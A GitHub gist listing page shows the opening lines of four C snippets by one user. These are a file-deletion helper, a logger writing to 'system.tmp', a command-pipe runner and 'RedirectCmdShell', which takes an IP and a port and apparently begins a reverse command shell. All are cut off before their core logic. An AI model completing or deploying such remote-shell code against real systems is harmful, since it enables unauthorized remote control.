Skip to content

Instantly share code, notes, and snippets.

View wateroot's full-sized avatar

URoot wateroot

  • High school
View GitHub Profile
@wateroot
wateroot / ZapDelFile.c
Created June 13, 2014 03:43
ZapDelFile
BOOL ZapDelFile(char *szFileToDel)
{
char cTempFileName[MAX_PATH] = {0};
char cTempPathName[MAX_PATH] = {0};
char cFileName[MAX_PATH+1] = {0};
GetSystemDirectory(cTempPathName, MAX_PATH);
strcat(cTempPathName, "\\");
if(GetTempFileName(cTempPathName, "x", 0, cTempFileName) == 0)
@wateroot
wateroot / Log2File.c
Created June 13, 2014 03:42
Log2File
void Log(const char *pszInfo, ...)
{
va_list args = NULL;
FILE *fp = NULL;
// check if the input param is valid.
if (NULL == pszInfo) {
return;
}
fp = _fsopen("system.tmp", "a+", _SH_DENYNO);
@wateroot
wateroot / RedirectCmdShell.c
Last active August 29, 2015 14:02
RedirectCmdShell
int RedirectCmdShell(char *szIP, char *szPort)
{
WSADATA wsaData = {0};
SOCKET cltSock = INVALID_SOCKET;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
struct sockaddr_in sa = {0};
if (NULL == szIP || NULL == szPort) {
return -1;
@wateroot
wateroot / ExecPipeCmd.c
Last active August 29, 2015 14:02
ExecPipeCmd
int ExecPipeCmd(char *szCmd)
{
FILE *pPipe = _popen(szCmd, "rt");
if (NULL == pPipe) {
//Log("_popen functio fail.\n");
return -1;
}
int nRet = -1;
CHAR szBuf[SOCK_BUF_SIZE] = {0};